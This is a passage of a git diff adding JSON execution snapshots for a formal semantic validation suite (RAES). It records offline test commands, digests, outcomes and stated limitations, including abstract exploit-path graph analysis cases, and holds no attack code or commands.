"replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-971-execution-v57", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "406033379df730d522c333b5db8e1f39f185f044", + "source_state": { + "base_revision": "406033379df730d522c333b5db8e1f39f185f044", + "checkout_state": "modified", + "implementation_digest": "0bca9c465e832c6ce5cf7c835df43995c6555456610052219a98a0e3ddc31d8f", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v63.json b/docs/research/formal-semantic-validation/execution-snapshot-v63.json new file mode 100644 index 000000000..222cf556b --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v63.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-971-execution-v57", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v62.json", + "release_revision": "62.0.0", + "release_sha256": "9e9554dc0a0420f397fc13414ea38274f13c67850d259abd4df1e55ff1b04b02" + }, + "captured_at": "2026-09-30T04:24:17.896448+00:00", + "commands": [ + { + "argv": [ + "implementations/python/.venv/bin/python", + "tools/check_formal_semantic_validation.py" + ], + "command_id": "bundle-replay", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/pytest", + "-q", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record", + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "command_id": "participant-fixtures", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-satisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "satisfiability", + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "--profile", + "raes-finite-domain-satisfiability-v1" + ], + "command_id": "finite-domain-unsatisfiable-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-valid-v2", + "network": "disabled" + }, + { + "argv": [ + "implementations/python/.venv/bin/raes", + "processor", + "exploit-path", + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "--profile", + "raes-exploit-path-analysis-v1" + ], + "command_id": "typed-exploit-path-invalid-v2", + "network": "disabled" + } + ], + "configuration_id": "raes-python-reference-offline-v41", + "corpus_revision": "4.0.0", + "deviations": [], + "execution_id": "issue-971-merged-execution-v63", + "execution_status": "complete", + "observations": [ + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "schema-valid-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-valid.sdl.yaml" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "A passing minimal source does not establish semantic correctness." + ], + "replayable": true, + "result_digest": "f7d364ef384df8a1526b489501835b635021c860793b5764f91d956710d2250c", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "schema-unknown-field", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLParseError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/schema-invalid-unknown-field.sdl.yaml" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "The observation covers one unknown-field defect only." + ], + "replayable": true, + "result_digest": "f55d834b458f8e069e1c69061b4cc0a6d61e0e052bf90c670f2e6a5ad8b5bd98", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "semantic-resolved-objective", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-valid-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "This is a positive control for one objective-reference slice." + ], + "replayable": true, + "result_digest": "652288785dc09095955ed3649f6407d616fb7c4d4f4188df4ed513ccb7537e0b", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-dangling-assertion", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-dangling-ref-participant-identity-v2.sdl.yaml" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "A single dangling reference does not prove complete semantic coverage." + ], + "replayable": true, + "result_digest": "0207cf616b56708ca9b8c4499d3301abe22dbe52162cf8d58d3bec429d9db024", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-ambiguous-reference", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-ambiguous-ref.sdl.yaml" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "One namespace collision does not enumerate every ambiguity surface." + ], + "replayable": true, + "result_digest": "9da4a87797d228e0012ab6b30459f4892e41aa6f224a9840be035fee4a2eea73", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "semantic-feature-cycle", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/semantic-invalid-feature-cycle.sdl.yaml" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "One static dependency cycle does not establish general constraint satisfiability." + ], + "replayable": true, + "result_digest": "d15dbcd99fb4f20b965d7031b07dd6534576302270399c3fa656d29e7de02b83", + "source_digest": null + }, + { + "actual_outcome": "accepted", + "analysis_profile": null, + "case_id": "workflow-reachable-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-reachable.sdl.yaml" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "The graph is workflow control flow only." + ], + "replayable": true, + "result_digest": "b1b49649b54bd59d4ef357b39cf9158da90f4eae560f8dd756acf97bd0827a06", + "source_digest": null + }, + { + "actual_outcome": "rejected", + "analysis_profile": null, + "case_id": "workflow-unreachable-step", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "SDLValidationError", + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/workflow-unreachable.sdl.yaml" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "The result does not establish network, service, participant, or exploit reachability." + ], + "replayable": true, + "result_digest": "bb931d19346ef9193408ae6c85deb4079704378fc5f00dc5f47a2817cff21943", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-satisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "No governed whole-scenario constraint theory or solver exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "whole-scenario-unsatisfiable-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Local checks cannot produce a whole-scenario unsat certificate." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "valid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "The issue-168 baseline had no canonical typed attack graph or path-query entrypoint." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "invalid-exploit-path-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Vulnerability and topology declarations are not an invalid-path proof." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "stable", + "analysis_profile": null, + "case_id": "compile-repeatability-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "The witness ends at compiled output." + ], + "replayable": true, + "result_digest": "11264a648a949917c0e84a2a1e5d116139a35e6cb941844735a422df95141d6c", + "source_digest": null + }, + { + "actual_outcome": "distinguishable", + "analysis_profile": null, + "case_id": "compile-non-vacuity-control", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/determinism-a.sdl.yaml", + "docs/research/formal-semantic-validation/corpus/determinism-b.sdl.yaml" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Distinct digests are a non-vacuity control, not semantic non-equivalence proof." + ], + "replayable": true, + "result_digest": "72c1ee8c7bbc1f970216fa232b3d4ae917bcb003bd823439bbac8a5db94214e2", + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "necessity-witness-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "No governed intervention or ablation protocol exists." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "unsupported", + "analysis_profile": null, + "case_id": "non-necessity-control-request", + "configuration_digest": null, + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": null, + "evidence_artifact_path": null, + "evidence_artifact_sha256": null, + "evidence_digest": null, + "evidence_profile": null, + "evidence_refs": [ + "docs/decisions/issue-168-formal-semantic-validation-reachability-preflight.md" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Attribution and negative fixtures do not demonstrate non-necessity." + ], + "replayable": false, + "result_digest": null, + "source_digest": null + }, + { + "actual_outcome": "satisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-satisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "evidence_artifact_sha256": "554202313d678046958b5c028e2de26ff03c74895cfac552677eed74e8153add", + "evidence_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/satisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-satisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Demonstrates only the pinned finite-domain theory, translation, solver profile, and source." + ], + "replayable": true, + "result_digest": "sha256:23c2cae7d95d4cc83d77ca576e3911477b169ecc311c977cb45490345f633b5a", + "source_digest": "sha256:0ca9eaba9dc47171f7a042dc6753faa6c820c65ee966538f9d65fac5342202e8" + }, + { + "actual_outcome": "unsatisfiable", + "analysis_profile": "raes-finite-domain-satisfiability-v1", + "case_id": "finite-domain-unsatisfiable-v2", + "configuration_digest": "sha256:1204635e17e759e9ad3bd6be2ecb28c6de05c07ead6dfdd15936ed5d3d5b81b2", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "scenario-satisfiability-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "evidence_artifact_sha256": "c972725ef64822a75a60380afc11f08eac25b7fe9b091d39b058b3c9f7c8031d", + "evidence_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "evidence_profile": "scenario-satisfiability-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/unsatisfiable-control.sdl.yaml", + "docs/research/formal-semantic-validation/evidence/finite-domain-unsatisfiable-v4.json", + "specs/formal/scenario-satisfiability/README.md" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "The subset-minimal core is evidence for the pinned translation and solver, not a proof certificate for arbitrary SDL." + ], + "replayable": true, + "result_digest": "sha256:317b5cad00aa7f4f7868dca66127611ba19d40ffd86f35815502622814df54c1", + "source_digest": "sha256:cfef56a1f56d5f0db9da195377fd75694bdd0f0b92932fdb8fafcbd3f7baf6c5" + }, + { + "actual_outcome": "valid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-valid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "evidence_artifact_sha256": "1b7f55d04db172da32658187c64a88c13b5f4d565267ce2be7cb86a9d04cb70c", + "evidence_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-valid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-valid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "The witness is bounded to the admitted snapshot, normalized graph, query, semantics, and search profile; it does not establish backend execution." + ], + "replayable": true, + "result_digest": "sha256:2d4d1a362751abd9544beb8af7f8c6331d04dac8f4abc315fb261f81fbaf4387", + "source_digest": "sha256:0afe635a63db5b6e6380ac70982fd61d09790745d51a10d670321304121e7c39" + }, + { + "actual_outcome": "invalid-path", + "analysis_profile": "raes-exploit-path-analysis-v1", + "case_id": "typed-exploit-path-invalid-v2", + "configuration_digest": "sha256:7f8876d81feb77d3a3239be2fb8337de8885e2744f8786728ba23e4e6027bc0a", + "configuration_id": "raes-python-reference-offline-v41", + "diagnostic_kind": "exploit-path-analysis-evidence/v1", + "evidence_artifact_path": "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "evidence_artifact_sha256": "244f895a64f14c10916ab0533ab462ce80a328021cd6a50c30a4aa59266d5533", + "evidence_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "evidence_profile": "exploit-path-analysis-evidence/v1", + "evidence_refs": [ + "docs/research/formal-semantic-validation/corpus/exploit-path-invalid-v3.json", + "docs/research/formal-semantic-validation/evidence/typed-exploit-path-invalid-v4.json", + "specs/formal/exploit-path-analysis/README.md" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Structured rejection proves only that this bounded graph/query cannot reach its goal; it does not establish real-world non-exploitability." + ], + "replayable": true, + "result_digest": "sha256:1b416bb5a4d29d57c961b769cc9d3af5d9328624e3eebf104d57f39a94c5bb97", + "source_digest": "sha256:0b2293d4a8983515ff05c516be6e6b418a4f3f09e055250a00bf15fda861aab3" + } + ], + "participant_observations": [ + { + "evidence_refs": [ + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_disclosure_is_separate_from_observable_projection", + "implementations/python/tests/test_sem_208_participant_behavior.py::test_hidden_truth_cannot_be_observed_without_explicit_disclosure_rule" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Covers the reference SDL/contract path, not every backend projection." + ], + "negative_outcome": "passed", + "obligation_id": "hidden-vs-visible-projection", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_contract_declares_sem_211_classes_and_compiles_them", + "implementations/python/tests/test_sem_211_participant_action_semantics.py::test_action_result_rejects_success_when_preconditions_are_unresolved" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Covers declared applicability and one unresolved-precondition failure." + ], + "negative_outcome": "passed", + "obligation_id": "fail-closed-action-applicability", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_runtime_snapshot_publishes_joint_action_and_time_context_records", + "implementations/python/tests/test_run_308_concurrent_participant_execution.py::test_joint_action_record_contract_rejects_unordered_conflicting_writes" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Contract evidence does not prove every backend's live concurrency fidelity." + ], + "negative_outcome": "passed", + "obligation_id": "shared-state-effects", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_accepts_supported_order_claim_strengths", + "implementations/python/tests/test_participant_runtime_invariants.py::test_order_discipline_rejects_wall_clock_causality" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Rejecting timestamp-only causality does not supply counterfactual proof." + ], + "negative_outcome": "passed", + "obligation_id": "ordering-before-causality", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_attribution_edge_round_trips_on_terminal_observation", + "implementations/python/tests/test_sem_212_participant_attribution_semantics.py::test_timestamp_adjacency_cannot_be_reported_as_strong_causality" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Attribution labels disclose basis; they do not demonstrate necessity." + ], + "negative_outcome": "passed", + "obligation_id": "evidence-labeled-attribution", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_outcome_interpretation_rule_parses_and_compiles_explicit_layers", + "implementations/python/tests/test_sem_215_participant_outcome_interpretation.py::test_local_action_success_does_not_imply_objective_success_without_rule_record" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "The fixtures establish layer separation, not outcome validity in every realization." + ], + "negative_outcome": "passed", + "obligation_id": "participant-local-outcome-separation", + "positive_outcome": "passed" + }, + { + "evidence_refs": [ + "implementations/python/tests/test_realization_honesty_conformance.py::test_constructive_envelope_runs_positive_and_negative_honesty_probes", + "implementations/python/tests/test_realization_honesty_conformance.py::test_only_native_live_can_support_native_conformance" + ], + "execution_id": "issue-971-merged-execution-v63", + "limitations": [ + "Reference conformance evidence remains bounded to declared realization profiles." + ], + "negative_outcome": "passed", + "obligation_id": "realization-profile-honesty", + "positive_outcome": "passed" + } + ], + "protocol_revision": "2.0.0", + "raes_revision": "95b86c9adc2e9720dbac84cf99b045db6b3cb232", + "source_state": { + "base_revision": "95b86c9adc2e9720dbac84cf99b045db6b3cb232", + "checkout_state": "modified", + "implementation_digest": "dd175d51062c7e54e795ba79886156b9ac84ba5a117be3e21893c787421a8f90", + "profile": "python-reference-source/v2" + }, + "versions": { + "python": "3.14.4", + "raes": "5.0.0", + "z3_engine": "4.16.0", + "z3_solver": "4.16.0.0" + } +} diff --git a/docs/research/formal-semantic-validation/execution-snapshot-v64.json b/docs/research/formal-semantic-validation/execution-snapshot-v64.json new file mode 100644 index 000000000..31e46d7b8 --- /dev/null +++ b/docs/research/formal-semantic-validation/execution-snapshot-v64.json @@ -0,0 +1,652 @@ +{ + "baseline": { + "execution_id": "issue-971-merged-execution-v63", + "release_path": "docs/research/formal-semantic-validation/bundles/retest-v63.json", + "release_revision": "63.0.0", + "release_sha256": "82f0fcb448e2d402b1356b6ceebc012be80737ea315e460fb4fe4727a16cc9af" + }, + "captured_at": 